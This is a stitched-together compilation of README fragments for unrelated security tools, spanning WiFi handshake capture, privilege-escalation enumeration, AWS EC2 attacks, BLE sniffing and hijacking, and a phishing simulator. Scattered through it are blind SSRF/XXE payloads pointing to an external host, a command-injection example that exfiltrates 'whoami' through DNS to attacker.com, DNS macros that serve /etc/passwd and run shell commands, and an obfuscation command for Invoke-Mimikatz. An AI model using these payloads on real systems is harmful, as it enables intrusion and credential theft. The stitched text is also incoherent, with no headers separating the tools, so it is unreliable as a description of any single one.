1. ./setup.sh
2. Enter the interface that can be switched to monitor mode
3. The script will install the prerequisites

• The script runs indefinitely until keyboard interrupt
• If you're targeting a wifi network, spend around 20 to 30 seconds within the wifi's range to ensure handshake capture
• Handshakes captured will be stored in handshakes/ directory
• The captured WiFi network's BSSID and ESSID will be stored in db file
• [Experimental] If you are connected to the internet while capturing, the following data will also be added to the db file
  • latitude
  • longitude
  • signal radius
  • time of record
  • Note: Kudos to Alexander Mylnikov for the API he's running that returns the location details of a router's MAC address using public databases

• The config file will be generated by the setup.sh script
• You can later edit the "interface" field to set the interface of your choice
• You can also add an "ignore" field to mention the WiFi networks you want hashcatch to ignore while running
• Refer the example given below to know about the format in which entries should be added to config file

interface=wlan0
ignore=Google Starbucks,AndroidAP

• PMKID attack
• Pixiedust attack for WPS enabled networks
• More location features
• Automatically check handshakes with a rainbow table

• Users: data analysts, data scientists, and all people interested in graph data analysis.
• Data analysis domains: graph datasets with rich feature data e.g. social networks, network infrastructure, chemical composition, etc.

• Constellation requires at least Open JDK 8 with JFX 8 support build to be installed and is known to work on Windows 64-bit and Linux 64-bit.
• The OpenGL graph display works with NVIDIA and ATI graphics cards that support OpenGL 3.3 or later. It is known to not work with Intel on-board graphics cards.

• Download NetBeans 8.2
• Download the Open JDK 8 with JFX 8 from Azul website for Windows 64 bit build or Linux 64 bit build
• Clone this repository
• Update the netbeans.conf file's netbeans_jdkhome entry (The file can be found under <C:\Program Files\NetBeans 8.2\etc> folder)
• Open the Constellation_Core module suite from NetBeans
• Important Files -> build.xml -> Right click -> Update dependencies and clean build
• Right click -> Run

• In NetBeans, expand Constellation_Core -> Important Files
• Right click on Build Script and run the build-zip target

• You can check whether your graphics card is supported by following these steps:

1. Click on File> New Graph to create a graph
2. Click on Experimental> Build Graph> Sphere Graph to create a random graph.
3. If you can see a graph try to interact with it using the mouse.
4. If the graph view remains blank, you may not have a supported graphics card.

• Click on Help> JOGL Version to see the graphics card capabilities of your machine.
• Click on Help> Show Logs to view Constellation log information.

1. make sure to give it executable permission chmod +x agent
2. ./agent -h (display help instructions)

-k --check kernel for common used privilige escalations exploits. 
-u --Getting information about Users , groups , releated information.
-c --check cronjobs. 
-n --Retrieve Network information,interfaces ...etc.
-w --Enumerate for Writeable Files , Dirs , SUID , 
-i --Search for Bash,python,Mysql,Vim..etc History files.
-f --search for Senstive config files accessible & private stuff. 
-o --connect to 0xsp Web Application. 
-p --Show All process By running under Root,Check For Vulnerable Packages. 
-e --Kernel inspection Tool, it will help to search through tool databases for kernel vulnerabilities. 
-x --secret Key to authorize your connection with WebApp API (default is 0xsp). 
-a --Display README. 

1. make sure to have at least php 5.6 or above
2. requires mysql 5.6
3. make sure to add Web application on root path / with folder name 0xsp as [ http://localhost/0xsp/] , Agent will not connect to it in case not configured correctly . the agent will connect only as following case :

./agent {SCAN OPTION} -o localhost -x secretkey

./agent -c -o localhost -x 0xsp { enumerate for CRON Tasks and Transfer results into Web Api} 
./agent -e -o localhost -x 0xsp { intelligent Exploits Detector }
./agent -c -e localhost -x 0sxp { will run two scans together and send found results directly }
./agent -m -o 10.10.13.1 -x 0xsp { RUN all Scans together and export it to Web API} 

./agent -c -k -p { this will run 3 scans at the same time with out sending results into Web Api }

1. High performance , stability , Output results Generated while executing no delays
2. Ability to execute most of functions with intelligent techniques .
3. results are being sent to Quick Web API
4. Exception Handling .
5. inbuilt Json Data set for publicly disclosed Exploits .
6. Fast As Mongoose

• Upload the files to your server.
• Create a Database and upload database.sql file to it.
• Change the DB Credentials in db.php file.
• Ready.

<embed src="http://mysite.com/bxssrf/request.php">
<script src="http://mysite.com/bxssrf/request.php">

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://mysite.com/bxssrf/request.php"> %ext;
]>
<r></r>

GET /testssrf.php=http://mysite.com/bxssrf/request.php

USER : admin@test.com
PASS : 123456

• Turbo Intruder is a dependency of this project, add it to the root of this source tree as turbo-intruder-all.jar
• Build with gradle fatJar

• An existing AWS account access key id and secret (Token too in some case)
• Python 2 or 3. It can run with both. To run the msfvenom payloads, you need msfvenom to be available on your workstation, with the PATH setup correctly.

pip install -r requirements.txt

pip3 install -r requirements.txt

• Mohammed Aldoub, also known as Voulnet, find me on Twitter

• Attacking EC2 instances without knowing keypairs or connection profiles/passwords.
• Dumping EC2 secrets and parameters.
• Enumerating EC2 instances and security groups.
• Ability to launch Metasploit and Empire payloads against EC2 instances.
• Training mode to test attacks and features without messing with running production environment.
• Tab-completed commands in a menu-based navigation system.
• Ability to dump EC2 instance metadata details.
• Ability to use EC2 keys or tokens (for example acquired from compromised instances or leaked source code)
• Printing for you the listening commands for msfconsole in cli mode for easy copy-pasting.

• Capital
• Upper
• 1337
• Append
• Prepend

• Test/Dry run
• Multiprocessing
• Multicore
• Possibility to adjust cores/processes number manually.
• Each generated password doesnt contain same word twice.

usage: wordlister.py [-h] --input INPUT --perm PERM --min MIN --max MAX
                     [--test TEST] [--cores CORES] [--leet] [--cap] [--up]
                     [--append APPEND] [--prepend PREPEND]

A simple wordlist generator and mangler written in python.

optional arguments:
  -h, --help         show this help message and exit
  --test TEST        Output first N iterations (single process/core)
  --cores CORES      Manually specify processes/cores pool that you want to
                     use
  --leet             Activate l33t mutagen
  --cap              Activate capitalize mutagen
  --up               Activate uppercase mutagen
  --append APPEND    Append chosen word (append 'word' to all passwords)
  --prepend PREPEND  Append chosen word (prepend 'word' to all passwords)

required arguments:
  -   -input INPUT      Input file name
  --perm PERM        Max number of words to be combined on the same line
  --min MIN          Minimum generated password length
  --max MAX          Maximum generated password length

cd ehtools
chmod +x install.sh
./install.sh

./install.sh

./install.sh

(activation_key)> 

ehtools -r

(ehtools)> if

(ehtools)> 1

(ehtools)> 2

(ehtools)> 3

(ehtools)> 7

(ehtools)> 19

(ehtools)> scan

(ehtools)> start

(ehtools)> stop

• Should work on Python 2 and 3
• names.db -> holds all custom records (see examples)
• Simple wildcards like *.example.com
• Catch unicode dns requests
• Custom actions aka macro:
  • {{shellexec::dig google.com +short}}-> Execute shell command and respond with result
  • {{eval::res = '1.1.1.%d' % random.randint(0,256)}}-> Evaluate your python code
  • {{file::/etc/passwd}}-> Respond with localfile contents
  • {{resolve}}-> Forward DNS request to local system DNS
  • {{resolve::example.com}}-> Resolve example.com instead of original record
  • {{echo}}-> Response back with peer address
  • {{shellexec::echo %PEER% %QUERY%}}-> Use of variables
• Supported query types: A, CNAME, TXT
• Update names.db records without restart/reload with ./mpdns.py -e

• Edit names.db with ./mpdns.py -e no restart required

1. You need a light-weight simple dns-server solution for testing purposes (NOT PRODUCTION!)
2. Test for various blind injectionvulnerabilities in web applications (ex. /ping.php?ip=$(dig $(whoami).attacker.com))
3. Easily infiltrate 65K of data in one TXT query
4. DNS Rebinding
5. Execute custom macro action on specific query (useful in malware-analysis lab environments)
6. And lots more. It is highly customizable.

1. Due to UDP Datagram limit of 65535 bytes, DNS response is limited to approx ~65200 bytes
   this limitation applies to TXT records which are splitted into chunks of 256 bytes until response reaches maximum allowed 65200b
   therefore TXT record with macro {{file:localfile.txt}} is limited to 65200 bytes.
2. No support for nested wildcards test.*.example.com
3. No support for custom DNS server resolver in {{resolve::example.com}} macro
4. TTL always set to 0

# Empty configuration will result in empty but valid responses
#
# Unicode domain names are not supported but still can be catched by the server.
# for example мама-сервер-unicode.google.com will be catched but with SERVFAIL response

passwd.example.com TXT     {{file::/etc/passwd}}  #comments are ignored
shellexec   TXT     {{shellexec::whoami}}
eval    TXT     {{eval::import random; res = random.randint(1,500)}}
resolve1   A       {{resolve}}
resolve2   A       {{resolve::self}}      #same as previous
resolve3   A       {{resolve::example.com}}
blabla.com   A       5.5.5.5

*     A       127.0.0.1
*.example.com  A  7.7.7.7
c1.example.com  CNAME c2.example.com
c2.example.com  CNAME c3.example.com
c3.example.com  CNAME google.example.com
google.example.com CNAME google.com
test.example.com A  8.8.8.8
google.com   A  {{resolve::self}}notgoogle.com  A  {{resolve::google.com}}

;; ANSWER SECTION:
test.example.com. 0 IN A 8.8.8.8

;; QUESTION SECTION:
;c1.example.com.   IN A

;; ANSWER SECTION:
c1.example.com.  0 IN CNAME c2.example.com.
c2.example.com.  0 IN CNAME c3.example.com.
c3.example.com.  0 IN CNAME google.example.com.
google.example.com. 0 IN CNAME google.com.
google.com.  0 IN A 216.58.206.14

- Request from 127.0.0.1:44120      -> c1.example.com.  -> c2.example.com (CNAME)
- Request from 127.0.0.1:44120      -> c2.example.com  -> c3.example.com (CNAME)
- Request from 127.0.0.1:44120      -> c3.example.com  -> google.example.com (CNAME)
- Request from 127.0.0.1:44120      -> google.example.com -> google.com (CNAME)
- Request from 127.0.0.1:44120      -> google.com   -> {{resolve::self}} (A)

;; ANSWER SECTION:
not-in-db.com.  0 IN A 127.0.0.1

;; ANSWER SECTION:
wildcard.example.com. 0 IN A 7.7.7.7

;; ANSWER SECTION:
google.com.  0 IN A 172.217.22.110

;; ANSWER SECTION:
notgoogle.com.  0 IN A 172.217.22.110

;; ANSWER SECTION:
passwd.example.com. 0 IN TXT "root:x:0:0:root:/root:/bin/bash\010daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\010bin:x:2:2:bin:......stripped"

;; ANSWER SECTION:
eval.   0 IN TXT "320"

;; ANSWER SECTION:
shellexec.  0 IN TXT "root"

$ sudo pip3 install btlejack

$ btlejack -i

• use various devices
• sniff an existing BLE connection
• sniff new BLE connections
• jam an existing BLE connection
• hijack an existing BLE connection
• export captured packets to various PCAP formats

$ btlejack -d /dev/ttyACM0 -d /dev/ttyACM2 -s

$ btlejack -s
BtleJack version 1.1

[i] Enumerating existing connections ...
[ - 54 dBm] 0xcd91d517 | pkts: 1
[ - 46 dBm] 0xcd91d517 | pkts: 2

$ btlejack -f 0xdda4845e
BtleJack version 1.1

[i] Detected sniffers:
> Sniffer #0: fw version 1.1

[i] Synchronizing with connection 0xdda4845e ...
✓ CRCInit: 0x2a035e
✓ Channel Map = 0x1fffffffff
✓ Hop interval = 39
✓ Hop increment = 15
[i] Synchronized, packet capture in progress ...
LL Data: 02 07 03 00 04 00 0a 03 00
LL Data: 0a 08 04 00 04 00 0b 5a 69 70
LL Data: 02 07 03 00 04 00 0a 03 00
LL Data: 0a 08 04 00 04 00 0b 5a 69 70

$ btlejack -c any
BtleJack version 1.1

[i] Detected sniffers:
> Sniffer #0: version 1.1
> Sniffer #1: version 1.1
LL Data: 05 22 df b4 6f 95 c5 55 c0 0a f6 99 23 40 1d 7b 2f 0a 9a f4 93 01 12 00 27 00 00 00 d0 07 ff ff ff ff 1f 0b
[i] Got CONNECT_REQ packet from 55:c5:95:6f:b4:df to 40:23:99:f6:0a:c0
 |-- Access Address: 0x0a2f7b1d
 |-- CRC Init value: 0x93f49a
 |-- Hop interval: 39
 |-- Hop increment: 11
 |-- Channel Map: 1fffffffff
 |-- Timeout: 20000 ms

LL Data: 03 09 08 0f 00 00 00 00 00 00 00
LL Data: 03 09 08 0f 00 00 00 00 00 00 00
LL Data: 0b 06 0c 08 0f 00 09 41
LL Data: 03 06 0c 07 1d 00 d3 07

$ btlejack -c 03:e1:f0:00:11:22

$ btlejack -f 0x129f3244 -j̀

$ btlejack -f 0x9c68fd30 -t -m 0x1fffffffff
BtleJack version 1.1

[i] Using cached parameters (created on 2018-08-11 01:48:24)
[i] Detected sniffers:
> Sniffer #0: fw version 1.1

[i] Synchronizing with connection 0x9c68fd30 ...
✓ CRCInit: 0x81f733
✓ Channel map is provided: 0x1fffffffff
✓ Hop interval = 39
✓ Hop increment = 9
[i] Synchronized, hijacking in progress ...
[i] Connection successfully hijacked, it is all yours \o/
btlejack>

btlejack> discover
start: 0001 end: 0005
start: 0014 end: 001a
start: 0028 end: ffff
 Discovered services:
Service UUID: 1801
 Characteristic UUID: 2a05
   | handle: 0002
   | properties: indicate  (20)
   \ value handle: 0003

Service UUID: 1800
 Characteristic UUID: 2a04
   | handle: 0019
   | properties: read  (02)
   \ value handle: 001a

 Characteristic UUID: 2a00
   | handle: 0015
   | properties: read  (02)
   \ value handle: 0016

 Characteristic UUID: 2a01
   | handle: 0017
   | properties: read  (02)
   \ value handle: 0018

Service UUID: 1824
 Characteristic UUID: 2abc
   | handle: 0029
   | properties: write indicate  (28)
   \ value handle: 002a

btlejack> read 0x16
read>> 4c 47 20 77 65 62 4f 53 20 54 56

btlejack> write <value handle> <data format> <data>

• hex: hex data (i.e. "414261")
• str: text string, may be encapsulated in double quotes

• DLT_BLUETOOTH_LE_LL_WITH_PHDR (same)
• DLT_NORDIC_BLE (the one used by Nordic' sniffer)
• DLT_BLUETOOTH_LE_LL (supported on latest versions of Wireshark)

$ btlejack -f 0xac56bc12 -x nordic -o capture.nordic.pcap

$ crackle -i some.pcap -s 1

$ btlejack -z

$ btlejack -c any -w /tmp/blepipe

$ btlejack -c any -w /tmp/blepipe -o blepackets.pcap

$ btlejack -f 0x11223344 -5

$ btlejack -f 0x11223344 -5
[i] Synchronizing with connection 0x11223344 ...
✓ CRCInit: 0x40d64f
✓ Channel Map = 0x1fffffffff
✓ Hop interval = 160

$ btlejack -f 0x11223344 -5
[i] Synchronizing with connection 0x11223344 ...
✓ CRCInit: 0x40d64f
✓ Channel Map = 0x1fffffffff
✓ Hop interval = 160
✓ CSA2 PRNG counter = 5137
[i] Synchronized, packet capture in progress ...

• -h, --help show this help message and exit

• -f    Obfuscate functions
○ Do this First ... Its probably the most likely to work well

• -v    Obfuscate variables
○ If your going to obfuscate variables do the parameters too. 

• -p    Obfuscate parameters
○  If your going to obfuscate parameters do the variables too. 

python3 PyFuscation.py -fvp --ps ./Scripts/Invoke-Mimikatz.ps1 

• SSH Bruterforcer isn't completely working anymore
• Requirements packages for android devices when using termux app isnt working with brute force tools + screen
• Sending wrong data into emagnet.log for wich files that contains correct data

git clone https://github.com/wuseman/emagnet
cd emagnet
chmod +x emagnet*
.
./emagnet --emagnet

• About - How everything started.
  
• Previews - Previews can be found here.
  
• Faq - How to grab your visa card if it has been leaked. Also get answers why we not using TOR.
  
• Installation - Video preview for how to get started on windows
  
• Wiki - How To Find your facebook credenticals, if it has been leaked.
  
• Tips & Tricks - Get started with spotify brute forcing - How emagnet will work with your openvpn files.
  

• Bash - Find more info about bashhere
• Wget - Find more info about wgethere
• Curl - Find more info about curlhere

• Emagnet is your best friend for get the leaks

• wuseman <wuseman@nr1.nu>

• Move Faster: We wanted tooling specifically designed to quickly identify malicious activity on a system
• Know our Coverage: We wanted to know exactly what our tools could detect and not rely on blackbox software as much (ie AV programs). This approach will help us to better focus our efforts on specific lines of effort and have confidence in the status of others.
• Better Understanding: We wanted to better understand the Windows attack surface in order to defend it better
• More Open-Source Blue Team Software: While there are many open-source Red Team Tools out there, the vast majority of some of the best Blue Team tools are closed-source (ie, AVs, EDRs, SysInternals, etc). We shouldn't need to rely on security through obscurity to prevent malicious actors (obviously very difficult, but something to strive for!)
• Demonstrate Features of Windows API: We combed through a ton of Microsoft Documentation, StackOverflow Answers, and more to create this. Hopefully others may find some of the code useful.

• Hunt
  • Configuration & Settings
  • File System
  • Hunts
  • Processes
• Monitor
  • ETW
  • File Monitor
  • Process Monitor
  • Registry Monitor
  • User Hooking
• React
  • Reactions
• BLUESPAWN (Program main)
• Logging

• Jake Smith (Github, Twitter)
• Calvin Krist (Github, Twitter)
• Jack McDowell (Github)
• Will Mayes (Github, Twitter)

• Your name here!

• The MITRE's ATT&CK Project which has put together an amazing framework for which to consider, document, and categorize attacker tradercraft.
• Microsoft's documentation and examples on the Windows API
• The Japan Computer Emergency Response Team (JPCERT)'s Tool Analysis Result Sheet for its documentation of attacker behavior and correlation with detection opportunities.

export MONDOO_REGISTRATION_TOKEN='changeme'
curl -sSL http://mondoo.io/download.sh | bash

export MONDOO_REGISTRATION_TOKEN='changeme'
curl -sSL http://mondoo.io/install.sh | bash

# scan a docker image from remote registry
mondoo vuln -t docker://centos:7

# scan docker container (get ids from docker ps)
mondoo vuln -t docker://00fa961d6b6a

# scan a ssh instance
mondoo vuln -t ssh://ec2-user@54.76.229.223

• ansible-mondoo - Ansible role for Mondoo
• chef-mondoo - Chef cookbook for Mondoo
• install.sh - Mondoo Agent Bash Installer for Servers
• download.sh - Mondoo Agent Bash Downloader for Workstation
• Dockerfile - Build script for official Mondoo container

• packer-provisioner-mondoo - Mondoo Packer Provisioner
• terraform-provisioner-mondoo - Mondoo Terrafrom Provisioner

• ansible-aws-ec2 - Ansible Playbook to deploy Mondoo Agents
• chef-aws-ec2 - Chef Wrapper Cookbook to deploy Mondoo Agents
• cloudinit - Lauch instance on AWS with Mondoo Agent
• docker - Play with Docker & Mondoo
• packer-aws - Build & Scan AMI on AWS
• packer-digitalocean - Build & Scan image on Digitalocean
• terraform-aws - Launch & Scan instance on AWS
• terraform-digitalocean - Launch & Scan instance on Digitalocean
• vagrant - Spin-up Mondoo agents in Vagrant

• docs - Source for Mondoo documentation (uses docsify)

  |:.      PingCastle (Version 2.5.2.0)
  |  #:.   Get Active Directory Security at 80% in 20% of the time
  # @@  >  End of support: 31/07/2020
  | @@@:
  : .#                                 Vincent LE TOUX (contact@pingcastle.com)
  .:                                                 https://www.pingcastle.com
Using interactive mode.
Do not forget that there are other command line switches like --help that you can use
What you would like to do?
  1-healthcheck-Score the risk of a domain
  2-graph      -Analyze admin groups and delegations
  3-conso      -Aggregate multiple reports into a single one
  4-nullsession-Perform a specific security check
  5-carto      -Build a map of all interconnected domains
  6-scanner    -Perform specific security checks on workstations

• One of the objective of organizations carrying out red team assessment is to know the weakness in the IT ecosystem which includes people and network. Organization takes every effort to improve there perimeter security and patch the vulnerabilities found but the people remains the weakest link. Phishing plays vital role in understanding the security-awareness of employee.
• Phishing Simulation enables user to understand it without actually performing the 'live' phishing attack, by leveraging the engaging and intuitive training sessions.
• Tool will give you a customized environment to design your test as per your requirements which make questions tailor-made for every organization and unique for each person, close to real-time phishing attack, targeted and difficult to answer, but all of this without any actual setup. Once test is designed all the targeted audience can take the assessment and submit there answers. We will have a analysis at the end of campaign to understand the current awareness posture.
• All it takes is just one click! So this will make us think twice before we do that one click.

• While doing red team assessment it is a daunting task to set up entire phishing campaign. Decide a domain, buy it, setup a phishing website, design an email and choose target audience track the clicks to only know who all clicked them and there awareness.
• This will need time and expertise to set-up.
• Tool will help you do all this for you just with few clicks (And those clicks are legit and helps you :))
• People are the most unpredictable one's and this tool will help you to know them and pattern of there clicks.

1. Admin Module : Which has access to setup test and view analysis, can be accessed at at http://localhost/AdminPanel/login.php, default login credentials are admin/admin
2. Client Module : Which only has access to tutorial and assessment, can be accessed at http://localhost/phishClient/

• Tutorial (Client Module)
  • This will have a tutorial book which introduces phishing and the general techniques used which will create awareness and educate.
• Assessment (Client Module)
  • This will include various questions which can be phishing emails or phishing site or scenario and user will have to choose there action whether they will click it, ignore it or report it.
  • Questions will be different for each user even under a same test code.
  • Questions will have a fair mix of positive and negative questions.
  • To pass the test all answers has to be right because all it takes is just one click!
• Set up test (Admin Module)
  • Tool will ask for some basic information from you here. To name a few,
    • Domain Name : Here you will enter your legit domain and tool will create a set of look-a-like domains that adversaries can use to attack you.You can choose one of them which will be used during your phishing simulation assessment.
    • URL : Here you will enter your popularly used websites URI, and we will be creating a similar looking phishing website which will be shown under your chosen look-a-like domain to create real life scenario also known as 'Typosquatting' during assessment.
    • Test Code: You can create a test code for each department and create different test config for them so everyone gets a different phishing sites making assessment even harder. Even under the same test set of questions will be different for each employee.
    • Preview: You can preview the look and feel of the phishing webpage which we have created look-a-like to your original site.
    • Email Id: Here you should add an official email id which is generally used for mass communication and we will generate more such combination of email-ids and use them during assessment.
• Analysis (Admin Module)
  • This will have a graph of analysis of different scenarios based on the pattern in which employees has answered the questions.
  • This will help to know the current awareness posture of organization.

• This will eliminate the need to set up entire phishing campaign manually and 'live' phishing environment.
• Assessment is customized, which will make it targeted attack for target user.
• An intuitive and interactive interface to exercise the entire process.
• No need to have pen-tester or consultant to carryout phishing campaign, you can do it yourself with few clicks.
• Know your people and make them aware.

1. Download XAMPP from - https://www.apachefriends.org/download.html and follow installation flow on the screen. It will install webserver and MySQL for you.
2. If you do not want to go with XAMPP, any webserver you may have and independent installation of MySQL should suffice.
3. Once you have completed Step 1 or Step 2 depending on your choice, on XAMPP control panel start 'Apache' and 'MySQL' service.
4. Open http://localhost/phpmyadmin/ or http://IP/phpmyadmin/ on the browser.
5. Click on 'Databases' create database with name 'phishadmin'
6. Click on 'Import' and import the file attached here with code, under /sql/ folder phishadmin.sql
7. Copy the source code available here under C:\xampp\htdocs\ folder (path will vary for linux users) and you are done with setup.

• Use Docker (recommended)
• Install manually